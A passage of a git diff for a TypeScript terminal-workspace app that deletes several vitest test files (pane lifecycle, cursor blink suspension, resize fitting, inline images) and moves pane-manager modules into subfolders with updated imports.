-      expect(mocks.remoteFocus).toHaveBeenCalledExactlyOnceWith('current', 'remote-2')
-    )
-    expect(settled).toBe(false)
-    if (feedback === null) {
-      focus.resolve()
-    } else if (feedback === 'update') {
-      focus.reject(Object.assign(new Error('Version blocked'), { code }))
-    } else {
-      focus.reject(
-        new RuntimeRpcCallError({
-          id: 'focus',
-          ok: false,
-          error: { code, message: 'Focus failed' }
-        })
-      )
-    }
-    await opening
-    expect(settled).toBe(true)
-    if (feedback === 'gone') {
-      expect(mocks.info).toHaveBeenCalledExactlyOnceWith(
-        "Agent's pane is no longer available.",
-        undefined
-      )
-    } else {
-      expect(mocks.info).not.toHaveBeenCalled()
-    }
-    if (feedback === 'retry' || feedback === 'update') {
-      expect(mocks.toast).toHaveBeenCalledExactlyOnceWith(
-        feedback === 'retry'
-          ? 'The structured agent session is not available yet. Retry in a moment.'
-          : "This chat can't be reopened until Orca is updated."
-      )
-    } else {
-      expect(mocks.toast).not.toHaveBeenCalled()
-    }
-    expect(mocks.rpc).toHaveBeenCalledExactlyOnceWith(
-      host,
-      'orchestration.partyOpen',
-      { address: 'term_worker', messageIds: ['m1'] },
-      { timeoutMs: 5000 }
-    )
-    expect(mocks.focus).toHaveBeenCalledExactlyOnceWith('current', 'remote-2')
-    for (const mutation of [mocks.activate, mocks.group, mocks.type, mocks.reveal]) {
-      expect(mutation).not.toHaveBeenCalled()
-    }
-    const errors = mocks.toast.mock.calls.length
-    const infos = mocks.info.mock.calls.length
-    await open()
-    expect(mocks.rpc).toHaveBeenCalledTimes(2)
-    expect(mocks.remoteFocus).toHaveBeenNthCalledWith(2, 'current', 'remote-2')
-    expect(mocks.toast).toHaveBeenCalledTimes(errors)
-    expect(mocks.info).toHaveBeenCalledTimes(infos)
-  }
-)
-it('coalesces one sender but keeps selected hosts independent', async () => {
-  const wait = Promise.withResolvers<unknown>()
-  mocks.rpc.mockReturnValue(wait.promise)
-  const a = open(),
-    b = open()
-  const s = source()
-  const c = openAgentMessageSender(s, s.senders[0]!, 'wt-chat', { kind: 'local' })
-  expect(mocks.rpc).toHaveBeenCalledTimes(2)
-  wait.resolve({ location: null })
-  await Promise.all([a, b, c])
-  expect(mocks.toast).toHaveBeenCalledTimes(2)
-})
diff --git a/src/renderer/src/lib/order-empty-query-worktrees.test.ts b/src/renderer/src/lib/order-empty-query-worktrees.test.ts
deleted file mode 100644
index f8e6b50da1a..00000000000
--- a/src/renderer/src/lib/order-empty-query-worktrees.test.ts
+++ /dev/null
@@ -1,56 +0,0 @@
-import { describe, expect, it } from 'vitest'
-import type { Worktree } from '../../../shared/worktree/types'
-import { orderEmptyQueryWorktrees } from './order-empty-query-worktrees'
-
-function wt(overrides: Partial<Worktree> & { id: string; displayName: string }): Worktree {
-  return {
-    repoId: 'repo-1',
-    path: `/tmp/${overrides.id}`,
-    head: 'abc',
-    branch: `refs/heads/${overrides.id}`,
-    isBare: false,
-    isMainWorktree: false,
-    comment: '',
-    linkedIssue: null,
-    linkedPR: null,
-    linkedLinearIssue: null,
-    isArchived: false,
-    isUnread: false,
-    isPinned: false,
-    sortOrder: 0,
-    lastActivityAt: 0,
-    ...overrides
-  }
-}
-
-describe('orderEmptyQueryWorktrees', () => {
-  it('does not crash the switcher when a visible worktree has no displayName (crash 99657ab1)', () => {
-    // Persisted/discovered displayName can be undefined despite its type; raw localeCompare once crashed Cmd+J.
-    const named = wt({ id: 'a', displayName: 'apple', lastActivityAt: 100 })
-    const unnamed = wt({
-      id: 'b',
-      displayName: undefined as unknown as string,
-      lastActivityAt: 100
-    })
-    expect(() =>
-      orderEmptyQueryWorktrees({
-        visibleWorktrees: [named, unnamed],
-        activeWorktreeId: null,
-        lastVisitedAtByWorktreeId: {}
-      })
-    ).not.toThrow()
-  })
-
-  // Filter current workspace by host too or its same-ID SSH twin becomes unreachable.
-  it('keeps the same-id worktree on the other host switchable', () => {
-    const local = wt({ id: 'shared', displayName: 'local', hostId: 'local' })
-    const ssh = wt({ id: 'shared', displayName: 'ssh', hostId: 'ssh:box' })
-    const result = orderEmptyQueryWorktrees({
-      visibleWorktrees: [local, ssh],
-      activeWorktreeId: 'shared',
-      activeWorkspaceExecutionHostId: 'local',
-      lastVisitedAtByWorktreeId: {}
-    })
-    expect(result.switchableWorktreesForRows.map((w) => w.displayName)).toEqual(['ssh'])
-  })
-})
diff --git a/src/renderer/src/lib/pane-manager/mint-stable-pane-id.ts b/src/renderer/src/lib/pane-manager/mint-stable-pane-id.ts
deleted file mode 100644
index 595707556ea..00000000000
--- a/src/renderer/src/lib/pane-manager/mint-stable-pane-id.ts
+++ /dev/null
@@ -1,7 +0,0 @@
-import type { TerminalLeafId } from '../../../../shared/workspace-layout/stable-pane-id'
-import { createNonSecureContextUuid as createBrowserUuid } from '../../../../shared/non-secure-context-uuid'
-
-export function mintStablePaneId(): TerminalLeafId {
-  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: createBrowserUuid always returns a lowercase v4 UUID, the TerminalLeafId shape.
-  return createBrowserUuid() as TerminalLeafId
-}
diff --git a/src/renderer/src/lib/pane-manager/pane-container-listener-lifecycle.test.ts b/src/renderer/src/lib/pane-manager/pane-container-listener-lifecycle.test.ts
deleted file mode 100644
index 4c40b4f2411..00000000000
--- a/src/renderer/src/lib/pane-manager/pane-container-listener-lifecycle.test.ts
+++ /dev/null
@@ -1,66 +0,0 @@
-// @vitest-environment happy-dom
-import { describe, expect, it, vi } from 'vitest'
-import type { ManagedPaneInternal } from './pane-manager-types'
-import { disposePane } from './pane-lifecycle'
-import { attachDomRendererFocusClassSync } from './pane-dom-focus-class-sync'
-
-function makePane(): ManagedPaneInternal {
-  const leafId = '11111111-1111-4111-8111-111111111111' as never
-  return {
-    id: 1,
-    leafId,
-    stablePaneId: leafId,
-    terminal: { dispose: vi.fn() } as never,
-    container: { removeEventListener: vi.fn() } as never,
-    xtermContainer: {} as never,
-    linkTooltip: {} as never,
-    terminalGpuAcceleration: 'auto',
-    gpuRenderingEnabled: false,
-    webglAttachmentDeferred: false,
-    webglDisabledAfterContextLoss: false,
-    hasComplexScriptOutput: false,
-    fitAddon: { dispose: vi.fn() } as never,
-    fitResizeObserver: null,
-    pendingObservedFitRafId: null,
-    searchAddon: { dispose: vi.fn() } as never,
-    serializeAddon: { dispose: vi.fn() } as never,
-    unicode11Addon: { dispose: vi.fn() } as never,
-    webLinksAddon: { dispose: vi.fn() } as never,
-    webglAddon: null,
-    imageAddon: null,
-    ligaturesAddon: null,
-    panePointerDownHandler: vi.fn(),
-    paneMouseEnterHandler: vi.fn(),
-    compositionHandler: null,
-    pendingSplitScrollState: null,
-    debugLabel: null
-  }
-}
-
-describe('disposePane container listener cleanup', () => {
-  it('cancels focus sync frames before disposing the terminal and removing its pane', () => {
-    const pending = new Map<number, FrameRequestCallback>()
-    vi.stubGlobal('requestAnimationFrame', (callback: FrameRequestCallback) => {
-      pending.set(1, callback)
-      return 1
-    })
-    vi.stubGlobal('cancelAnimationFrame', (id: number) => pending.delete(id))
-    try {
-      const pane = makePane()
-      pane.focusClassSyncCleanup = attachDomRendererFocusClassSync(document.createElement('div'))
-      const panes = new Map([[pane.id, pane]])
-      let pendingAtDispose: number | undefined
-      vi.mocked(pane.terminal.dispose).mockImplementation(() => {
-        pendingAtDispose = pending.size
-      })
-      expect(pending.size).toBe(1)
-      disposePane(pane, panes)
-      expect(pendingAtDispose).toBe(0)
-      expect(pane.terminal.dispose).toHaveBeenCalledOnce()
-      expect(pane.focusClassSyncCleanup).toBeNull()
-      expect(panes.has(pane.id)).toBe(false)
-    } finally {
-      vi.unstubAllGlobals()
-    }
-  })
-})
diff --git a/src/renderer/src/lib/pane-manager/pane-cursor-blink-suspension.test.ts b/src/renderer/src/lib/pane-manager/pane-cursor-blink-suspension.test.ts
deleted file mode 100644
index 570c393730c..00000000000
--- a/src/renderer/src/lib/pane-manager/pane-cursor-blink-suspension.test.ts
+++ /dev/null
@@ -1,226 +0,0 @@
-// @vitest-environment happy-dom
-
-import { Terminal } from '@xterm/xterm'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type { ManagedPaneInternal } from './pane-manager-types'
-import { resumePaneRendering, suspendPaneRendering } from './pane-rendering-control'
-import {
-  resetHiddenWebglRetentionForTest,
-  retainedHiddenWebglOwnerCountForTest
-} from './terminal-webgl-hidden-retention'
-import {
-  isTerminalCursorBlinkSuspended,
-  setTerminalCursorBlinkOption
-} from './pane-cursor-blink-suspension'
-
-/** Hidden panes must stop redraws and restore their exact cursor state. Assert rendered cursor classes, not options alone; a separate redraw counter covers WebGL’s document-focused timer leak. */
-
-const COLS = 80
-const ROWS = 24
-
-type TestPane = ManagedPaneInternal & { host: HTMLElement }
-
-function nextFrame(): Promise<void> {
-  return new Promise((resolve) => requestAnimationFrame(() => resolve()))
-}
-
-async function flushRender(): Promise<void> {
-  await nextFrame()
-  await nextFrame()
-  await new Promise((resolve) => setTimeout(resolve, 0))
-}
-
-function write(terminal: Terminal, data: string): Promise<void> {
-  return new Promise((resolve) => terminal.write(data, resolve))
-}
-
-function createTestPane(options: { cursorBlink?: boolean } = {}): TestPane {
-  const host = document.createElement('div')
-  document.body.appendChild(host)
-  const terminal = new Terminal({
-    cols: COLS,
-    rows: ROWS,
-    cursorBlink: options.cursorBlink ?? true,
-    allowProposedApi: true
-  })
-  terminal.open(host)
-  terminal.focus()
-  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: this DOM fixture provides the fields used by suspend/resume.
-  const pane = {
-    id: 1,
-    terminal,
-    host,
-    container: host,
-    xtermContainer: host,
-    // Off so resume's reattachWebglIfNeeded leaves the DOM renderer in place;
-    // the rendered-cursor oracle needs a renderer that paints in happy-dom.
-    gpuRenderingEnabled: false,
-    terminalGpuAcceleration: 'off',
-    webglAddon: null,
-    webglAttachmentDeferred: false,
-    webglDisabledAfterContextLoss: false,
-    webglAttachFailedSinceRecovery: false,
-    hasComplexScriptOutput: false,
-    pendingWebglRefreshRafId: null,
-    pendingObservedFitRafId: null
-  } as unknown as TestPane
-  return pane
-}
-
-function renderedCursor(pane: TestPane): HTMLElement | null {
-  return pane.host.querySelector('.xterm-cursor')
-}
-
-function rendersBlinkingCursor(pane: TestPane): boolean {
-  return renderedCursor(pane)?.classList.contains('xterm-cursor-blink') === true
-}
-
-function renderedText(pane: TestPane): string {
-  return pane.host.querySelector('.xterm-rows')?.textContent ?? ''
-}
-
-async function reveal(panes: TestPane[]): Promise<void> {
-  resumePaneRendering(panes)
-  for (const pane of panes) {
-    pane.terminal.focus()
-  }
-}
-
-describe('hidden-pane cursor blink suspension', () => {
-  beforeEach(() => {
-    resetHiddenWebglRetentionForTest()
-    // happy-dom has no canvas text metrics; xterm measures glyphs on open().
-    vi.spyOn(HTMLCanvasElement.prototype, 'getContext').mockReturnValue({
-      measureText: () => ({ width: 10 })
-    } as unknown as CanvasRenderingContext2D)
-  })
-
-  afterEach(() => {
-    vi.restoreAllMocks()
-    document.body.replaceChildren()
-  })
-
-  it('renders a blinking cursor again one frame after reveal', async () => {
-    const pane = createTestPane()
-    await write(pane.terminal, 'ready$ ')
-    await flushRender()
-    expect(rendersBlinkingCursor(pane)).toBe(true)
-
-    suspendPaneRendering([pane])
-    // DOM blink is focus-gated CSS; toggling the option would rewrite xterm's stylesheet on every switch.
-    expect(isTerminalCursorBlinkSuspended(pane.terminal)).toBe(false)
-    expect(pane.terminal.options.cursorBlink).toBe(true)
-
-    await reveal([pane])
-    await nextFrame()
-    expect(renderedCursor(pane), 'reveal must not leave the pane without a cursor').not.toBeNull()
-    expect(rendersBlinkingCursor(pane)).toBe(true)
-    expect(isTerminalCursorBlinkSuspended(pane.terminal)).toBe(false)
-  })
-
-  it('keeps a user who disabled cursor blink un-blinking across hide and reveal', async () => {
-    const pane = createTestPane({ cursorBlink: false })
-    await write(pane.terminal, 'ready$ ')
-    await flushRender()
-    expect(rendersBlinkingCursor(pane)).toBe(false)
-
-    suspendPaneRendering([pane])
-    await reveal([pane])
-    await flushRender()
-
-    expect(renderedCursor(pane), 'a steady cursor must still be rendered').not.toBeNull()
-    expect(rendersBlinkingCursor(pane), 'blink must stay off for this user').toBe(false)
-  })
-
-  it('does not drop output written while hidden, and echoes typing after reveal', async () => {
-    const pane = createTestPane()
-    await write(pane.terminal, 'before-hide\r\n')
-    await flushRender()
-
-    suspendPaneRendering([pane])
-    await write(pane.terminal, 'while-hidden\r\n')
-
-    await reveal([pane])
-    await flushRender()
-    expect(renderedText(pane)).toContain('before-hide')
-    expect(renderedText(pane)).toContain('while-hidden')
-
-    const typed: string[] = []
-    pane.terminal.onData((data) => typed.push(data))
-    const keydown = new KeyboardEvent('keydown', {
-      key: 'x',
-      code: 'KeyX',
-      bubbles: true,
-      cancelable: true
-    })
-    Object.defineProperty(keydown, 'keyCode', { value: 88 })
-    pane.terminal.textarea?.dispatchEvent(keydown)
-    expect(typed, 'keystrokes must still reach the PTY after a hide/reveal').toEqual(['x'])
-
-    await write(pane.terminal, 'x')
-    await flushRender()
-    expect(renderedText(pane)).toContain('x')
-    expect(rendersBlinkingCursor(pane)).toBe(true)
-  })
-
-  it.each([false, true])(
-    'restores a retained WebGL pane whose initial blink setting was %s after a mid-hide change',
-    async (initialBlink) => {
-      const pane = createTestPane({ cursorBlink: initialBlink })
-      const addon = { dispose: vi.fn() }
-      Object.assign(pane, { webglAddon: addon })
-      const owner = {}
-      const retention = { owner, livePanes: () => [pane] }
-
-      suspendPaneRendering([pane], retention)
-      expect(pane.webglAddon).toBe(addon)
-      expect(addon.dispose).not.toHaveBeenCalled()
-      expect(retainedHiddenWebglOwnerCountForTest()).toBe(1)
-      expect(isTerminalCursorBlinkSuspended(pane.terminal)).toBe(true)
-      expect(pane.terminal.options.cursorBlink).toBe(false)
-
-      setTerminalCursorBlinkOption(pane.terminal, !initialBlink)
-      suspendPaneRendering([pane], retention)
-      expect(pane.terminal.options.cursorBlink).toBe(false)
-      expect(retainedHiddenWebglOwnerCountForTest()).toBe(1)
-
-      resumePaneRendering([pane], owner)
-      pane.terminal.focus()
-      await nextFrame()
-      expect(retainedHiddenWebglOwnerCountForTest()).toBe(0)
-      expect(pane.webglAddon).toBe(addon)
-      expect(addon.dispose).not.toHaveBeenCalled()
-      expect(isTerminalCursorBlinkSuspended(pane.terminal)).toBe(false)
-      expect(pane.terminal.options.cursorBlink).toBe(!initialBlink)
-      expect(rendersBlinkingCursor(pane)).toBe(!initialBlink)
-    }
-  )
-
-  it('parks only the WebGL cursor in a mixed-renderer split and blurs both panes', async () => {
-    const domPane = createTestPane()
-    const webglPane = createTestPane()
-    const addon = { dispose: vi.fn() }
-    Object.assign(webglPane, { webglAddon: addon })
-    const panes = [domPane, webglPane]
-    const owner = {}
-
-    suspendPaneRendering(panes, { owner, livePanes: () => panes })
-    await nextFrame()
-
-    expect(domPane.terminal.options.cursorBlink).toBe(true)
-    expect(isTerminalCursorBlinkSuspended(domPane.terminal)).toBe(false)
-    expect(webglPane.terminal.options.cursorBlink).toBe(false)
-    expect(isTerminalCursorBlinkSuspended(webglPane.terminal)).toBe(true)
-    for (const pane of panes) {
-      expect(pane.host.querySelector('.xterm-rows')?.classList.contains('xterm-focus')).toBe(false)
-      expect(document.activeElement).not.toBe(pane.terminal.textarea)
-    }
-
-    resumePaneRendering(panes, owner)
-    expect(domPane.terminal.options.cursorBlink).toBe(true)
-    expect(webglPane.terminal.options.cursorBlink).toBe(true)
-    expect(isTerminalCursorBlinkSuspended(webglPane.terminal)).toBe(false)
-    expect(webglPane.webglAddon).toBe(addon)
-    expect(addon.dispose).not.toHaveBeenCalled()
-  })
-})
diff --git a/src/renderer/src/lib/pane-manager/pane-dom-creation.ts b/src/renderer/src/lib/pane-manager/pane-dom-creation.ts
index 936914ebf40..b7badea9b43 100644
--- a/src/renderer/src/lib/pane-manager/pane-dom-creation.ts
+++ b/src/renderer/src/lib/pane-manager/pane-dom-creation.ts
@@ -7,16 +7,16 @@ import { Terminal, type ILink, type ITerminalOptions } from '@xterm/xterm'
 import { createWrappedTerminalHttpLinkProvider } from '../../components/terminal-pane/links/http/wrapped-terminal-http-link-provider'
 import { TERMINAL_HTTP_URL_REGEX } from '../../../../shared/terminal/links/terminal-http-url-extraction'
 import type { TerminalLeafId } from '../../../../shared/workspace-layout/stable-pane-id'
-import type { DragReorderCallbacks, DragReorderState } from './pane-drag-reorder'
-import { attachPaneDrag } from './pane-drag-pointer'
+import type { DragReorderCallbacks, DragReorderState } from './pane-layout/pane-drag-reorder'
+import { attachPaneDrag } from './pane-layout/pane-drag-pointer'
 import type { ManagedPaneInternal, PaneManagerOptions } from './pane-manager-types'
 import { PANE_TERMINAL_VT_EXTENSIONS, buildDefaultTerminalOptions } from './pane-terminal-options'
-import { shouldFocusTerminalFromPanePointerDown } from './pane-pointer-focus'
-import { ENABLE_WEBGL_RENDERER } from './pane-webgl-renderer'
-import { installGuardedLinkProviderRegistration } from './terminal-link-provider-guard'
-import { installWindowsCtrlAltChordRepair } from './terminal-windows-ctrl-alt-chord-classification'
-import { installTerminalMouseEncodingTracker } from './terminal-mouse-encoding-tracker'
-import { StableCellFitAddon } from './terminal-stable-cell-fit-addon'
+import { shouldFocusTerminalFromPanePointerDown } from './pane-focus/pane-pointer-focus'
+import { ENABLE_WEBGL_RENDERER } from './terminal-rendering/pane-webgl-renderer'
+import { installGuardedLinkProviderRegistration } from './terminal-input/terminal-link-provider-guard'
+import { installWindowsCtrlAltChordRepair } from './terminal-protocol/terminal-windows-ctrl-alt-chord-classification'
+import { installTerminalMouseEncodingTracker } from './terminal-protocol/terminal-mouse-encoding-tracker'
+import { StableCellFitAddon } from './terminal-fit/terminal-stable-cell-fit-addon'
 
 function defaultLinkTooltipText(uri: string, openLinkHint: string): string {
   return `${uri} (${openLinkHint})`
diff --git a/src/renderer/src/lib/pane-manager/pane-fit-resize-observer.test.ts b/src/renderer/src/lib/pane-manager/pane-fit-resize-observer.test.ts
deleted file mode 100644
index 28f55502cdf..00000000000
--- a/src/renderer/src/lib/pane-manager/pane-fit-resize-observer.test.ts
+++ /dev/null
@@ -1,144 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type { ManagedPaneInternal, ScrollState } from './pane-manager-types'
-import { requestStablePaneFit } from './pane-fit-resize-observer'
-import {
-  beginTerminalScrollIntentBufferRebuild,
-  endTerminalScrollIntentBufferRebuild
-} from './terminal-scroll-intent-rebuild'
-import { safeFitAndThen } from './pane-tree-ops'
-
-type ResizeObserverCallbackLike = ConstructorParameters<typeof ResizeObserver>[0]
-
-class MockResizeObserver {
-  observe = vi.fn()
-  disconnect = vi.fn()
-
-  constructor(private readonly callback: ResizeObserverCallbackLike) {
-    mockResizeObservers.push(this)
-  }
-
-  trigger(): void {
-    this.callback([], this as never)
-  }
-}
-
-let mockResizeObservers: MockResizeObserver[] = []
-let nextRafId = 1
-let pendingRafs = new Map<number, FrameRequestCallback>()
-
-function flushAnimationFrames(timestamp = 16): void {
-  const callbacks = Array.from(pendingRafs.entries())
-  pendingRafs = new Map()
-  for (const [, callback] of callbacks) {
-    callback(timestamp)
-  }
-}
-
-function createPane(
-  proposeDimensions: () => { cols: number; rows: number } = () => ({ cols: 80, rows: 24 }),
-  options: { rect?: { width: number; height: number } } = {}
-): ManagedPaneInternal {
-  const leafId = '11111111-1111-4111-8111-111111111111' as never
-  return {
-    id: 1,
-    leafId,
-    stablePaneId: leafId,
-    terminal: {
-      cols: 79,
-      rows: 24
-    } as never,
-    container: { dataset: {} } as never,
-    xtermContainer: {
-      getBoundingClientRect: () => options.rect ?? ({ width: 800, height: 600 } as DOMRect)
-    } as never,
-    linkTooltip: {} as never,
-    terminalGpuAcceleration: 'auto',
-    gpuRenderingEnabled: true,
-    webglAttachmentDeferred: false,
-    webglDisabledAfterContextLoss: false,
-    hasComplexScriptOutput: false,
-    fitAddon: {
-      fit: vi.fn(),
-      proposeDimensions: vi.fn(proposeDimensions)
-    } as never,
-    fitResizeObserver: null,
-    pendingObservedFitRafId: null,
-    searchAddon: {} as never,
-    serializeAddon: {} as never,
-    unicode11Addon: {} as never,
-    webLinksAddon: {} as never,
-    webglAddon: null,
-    imageAddon: null,
-    ligaturesAddon: null,
-    compositionHandler: null,
-    debugLabel: null,
-    pendingSplitScrollState: {
-      bufferType: 'normal',
-      wasAtBottom: true,
-      viewportY: 0,
-      baseY: 0
-    } satisfies ScrollState
-  }
-}
-
-describe('attachPaneFitResizeObserver', () => {
-  beforeEach(() => {
-    mockResizeObservers = []
-    nextRafId = 1
-    pendingRafs = new Map()
-
-    vi.stubGlobal('ResizeObserver', MockResizeObserver as never)
-    vi.stubGlobal(
-      'requestAnimationFrame',
-      vi.fn((callback: FrameRequestCallback) => {
-        const id = nextRafId++
-        pendingRafs.set(id, callback)
-        return id
-      })
-    )
-    vi.stubGlobal(
-      'cancelAnimationFrame',
-      vi.fn((id: number) => {
-        pendingRafs.delete(id)
-      })
-    )
-  })
-
-  afterEach(() => {
-    vi.unstubAllGlobals()
-    vi.restoreAllMocks()
-  })
-
-  it('releases a hidden reattach continuation when the stable grid already matches', async () => {
-    const pane = createPane()
-    vi.mocked(pane.fitAddon.proposeDimensions).mockReturnValue(undefined)
-    const continuation = vi.fn()
-    const pending = safeFitAndThen(pane, 'reattach-pty-resize', continuation)
-
-    expect(continuation).not.toHaveBeenCalled()
-    vi.mocked(pane.fitAddon.proposeDimensions).mockReturnValue({ cols: 79, rows: 24 })
-    requestStablePaneFit(pane)
-    flushAnimationFrames()
-
-    await expect(pending.completion).resolves.toBe(true)
-    expect(continuation).toHaveBeenCalledTimes(1)
-    expect(pane.fitAddon.fit).not.toHaveBeenCalled()
-  })
-
-  it('does not notify settled callbacks until a replay-deferred fit completes', async () => {
-    const onSettled = vi.fn()
-    const pane = createPane()
-    beginTerminalScrollIntentBufferRebuild(pane.terminal)
-
-    requestStablePaneFit(pane, onSettled)
-    flushAnimationFrames()
-
-    expect(pane.fitAddon.fit).not.toHaveBeenCalled()
-    expect(onSettled).not.toHaveBeenCalled()
-    endTerminalScrollIntentBufferRebuild(pane.terminal)
-    await Promise.resolve()
-
-    expect(pane.fitAddon.fit).toHaveBeenCalledTimes(1)
-    expect(onSettled).toHaveBeenCalledTimes(1)
-  })
-})
diff --git a/src/renderer/src/lib/pane-manager/focus-follows-mouse.ts b/src/renderer/src/lib/pane-manager/pane-focus/focus-follows-mouse.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/focus-follows-mouse.ts
rename to src/renderer/src/lib/pane-manager/pane-focus/focus-follows-mouse.ts
diff --git a/src/renderer/src/lib/pane-manager/pane-cursor-blink-suspension.ts b/src/renderer/src/lib/pane-manager/pane-focus/pane-cursor-blink-suspension.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/pane-cursor-blink-suspension.ts
rename to src/renderer/src/lib/pane-manager/pane-focus/pane-cursor-blink-suspension.ts
diff --git a/src/renderer/src/lib/pane-manager/pane-dom-focus-class-sync.ts b/src/renderer/src/lib/pane-manager/pane-focus/pane-dom-focus-class-sync.ts
similarity index 93%
rename from src/renderer/src/lib/pane-manager/pane-dom-focus-class-sync.ts
rename to src/renderer/src/lib/pane-manager/pane-focus/pane-dom-focus-class-sync.ts
index 5767ab69916..33076b3e93d 100644
--- a/src/renderer/src/lib/pane-manager/pane-dom-focus-class-sync.ts
+++ b/src/renderer/src/lib/pane-manager/pane-focus/pane-dom-focus-class-sync.ts
@@ -1,4 +1,4 @@
-import { PaneReparentFrameTracker } from './pane-reparent-frame-tracker'
+import { PaneReparentFrameTracker } from '../pane-layout/pane-reparent-frame-tracker'
 
 export function attachDomRendererFocusClassSync(
   terminalElement: HTMLElement | undefined
diff --git a/src/renderer/src/lib/pane-manager/pane-overlay-focus.ts b/src/renderer/src/lib/pane-manager/pane-focus/pane-overlay-focus.ts
similarity index 77%
rename from src/renderer/src/lib/pane-manager/pane-overlay-focus.ts
rename to src/renderer/src/lib/pane-manager/pane-focus/pane-overlay-focus.ts
index c755bebe5fa..d3f5b5fa36b 100644
--- a/src/renderer/src/lib/pane-manager/pane-overlay-focus.ts
+++ b/src/renderer/src/lib/pane-manager/pane-focus/pane-overlay-focus.ts
@@ -1,6 +1,6 @@
 import { focusNativeChatCover } from '@/components/terminal-pane/chat/native-chat-covered-pane'
-import { getOverlayFocusOwners } from '../overlay-interaction/overlay-focus-ownership'
-import type { ManagedPane } from './pane-manager-types'
+import { getOverlayFocusOwners } from '../../overlay-interaction/overlay-focus-ownership'
+import type { ManagedPane } from '../pane-manager-types'
 
 export function focusPanePreservingOverlays(
   pane: Pick<ManagedPane, 'container' | 'terminal'>
diff --git a/src/renderer/src/lib/pane-manager/pane-pointer-focus.ts b/src/renderer/src/lib/pane-manager/pane-focus/pane-pointer-focus.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/pane-pointer-focus.ts
rename to src/renderer/src/lib/pane-manager/pane-focus/pane-pointer-focus.ts
diff --git a/src/renderer/src/lib/pane-manager/pane-identity-registry.ts b/src/renderer/src/lib/pane-manager/pane-identity-registry.ts
index 2c9e9a294e9..91aeda37dee 100644
--- a/src/renderer/src/lib/pane-manager/pane-identity-registry.ts
+++ b/src/renderer/src/lib/pane-manager/pane-identity-registry.ts
@@ -2,7 +2,7 @@ import {
   isTerminalLeafId,
   type TerminalLeafId
 } from '../../../../shared/workspace-layout/stable-pane-id'
-import { mintStablePaneId } from './mint-stable-pane-id'
+import { mintStablePaneId } from './pane-layout/mint-stable-pane-id'
 import type { ManagedPaneInternal } from './pane-manager-types'
 
 export class PaneIdentityRegistry {
diff --git a/src/renderer/src/lib/pane-manager/pane-inline-image-recovery.test.ts b/src/renderer/src/lib/pane-manager/pane-inline-image-recovery.test.ts
deleted file mode 100644
index 95ca13d0c64..00000000000
--- a/src/renderer/src/lib/pane-manager/pane-inline-image-recovery.test.ts
+++ /dev/null
@@ -1,52 +0,0 @@
-import { expect, it, vi } from 'vitest'
-import { Terminal } from '@xterm/headless'
-import type { ManagedPaneInternal } from './pane-manager-types'
-import { createLazyXtermAddonLoader } from './terminal-lazy-addon-loader'
-
-it('recovers capped imports after disabling and enabling images', async () => {
-  vi.resetModules()
-  const load = vi.fn<() => Promise<new () => { activate(): void; dispose(): void }>>()
-  load.mockRejectedValue(new Error('chunk unavailable'))
-  const loader = createLazyXtermAddonLoader({ load, failureMessage: 'expected test failure' })
-  vi.doMock('./terminal-image-addon-loader', () => ({
-    setTerminalImageAddonLoadHandlers: loader.setHandlers,
-    getTerminalImageAddonConstructor: loader.getConstructor,
-    primeTerminalImageAddon: loader.prime,
-    rearmTerminalImageAddonLoad: loader.rearm
-  }))
-  const images = await import('./pane-inline-images')
-  const terminal = new Terminal({ allowProposedApi: true })
-  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: fixture includes all fields used by image attachment.
-  const pane = {
-    terminal,
-    imageAddon: null,
-    imageAttachmentDeferred: false,
-    id: 1
-  } as unknown as ManagedPaneInternal
-  const warning = vi.spyOn(console, 'warn').mockImplementation(() => {})
-  try {
-    for (let attempt = 0; attempt < 4; attempt++) {
-      images.setInlineImagesEnabled(pane, true)
-      await loader.prime()
-    }
-    expect(load).toHaveBeenCalledTimes(3)
-    expect(pane.imageAddon).toBeNull()
-    load.mockResolvedValue(
-      class {
-        activate(): void {}
-        dispose(): void {}
-      }
-    )
-    images.setInlineImagesEnabled(pane, false)
-    images.setInlineImagesEnabled(pane, true)
-    await loader.prime()
-    expect(load).toHaveBeenCalledTimes(4)
-    expect(pane.imageAddon).not.toBeNull()
-  } finally {
-    images.detachInlineImages(pane)
-    terminal.dispose()
-    warning.mockRestore()
-    vi.doUnmock('./terminal-image-addon-loader')
-    vi.resetModules()
-  }
-})
diff --git a/src/renderer/src/lib/pane-manager/pane-inline-images.test.ts b/src/renderer/src/lib/pane-manager/pane-inline-images.test.ts
deleted file mode 100644
index 80a49be0a0b..00000000000
--- a/src/renderer/src/lib/pane-manager/pane-inline-images.test.ts
+++ /dev/null
@@ -1,85 +0,0 @@
-import { beforeAll, describe, expect, it, vi } from 'vitest'
-import { Terminal } from '@xterm/headless'
-
-const { activation, disposeSpy } = vi.hoisted(() => ({
-  activation: { fail: false },
-  disposeSpy: vi.fn()
-}))
-
-vi.mock('@xterm/addon-image', () => ({
-  ImageAddon: class {
-    options: unknown
-    disposed = false
-    constructor(options?: unknown) {
-      this.options = options
-    }
-    activate(): void {
-      if (activation.fail) {
-        throw new Error('partial activation')
-      }
-    }
-    dispose(): void {
-      this.disposed = true
-      disposeSpy()
-    }
-  }
-}))
-
-import type { ManagedPaneInternal } from './pane-manager-types'
-import { primeTerminalImageAddon } from './terminal-image-addon-loader'
-import { attachInlineImages, detachInlineImages } from './pane-inline-images'
-
-function makePane(id: number): ManagedPaneInternal {
-  const terminal = new Terminal({ cols: 80, rows: 24, allowProposedApi: true })
-  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: this fixture supplies the pane members exercised by the addon lifecycle.
-  return {
-    id,
-    terminal,
-    imageAddon: null,
-    imageAttachmentDeferred: false
-  } as unknown as ManagedPaneInternal
-}
-
-describe('pane inline images', () => {
-  // Most tests need a resolved addon; prime independently so file ordering cannot matter.
-  beforeAll(async () => {
-    await primeTerminalImageAddon()
-  })
-
-  it('attaches deferred panes once the addon chunk resolves', async () => {
-    // Fresh modules expose the deferred path before the module-level addon memo resolves.
-    vi.resetModules()
-    const images = await import('./pane-inline-images')
-    const loader = await import('./terminal-image-addon-loader')
-    const pane = makePane(1)
-    images.attachInlineImages(pane)
-
-    expect(pane.imageAddon).toBeNull()
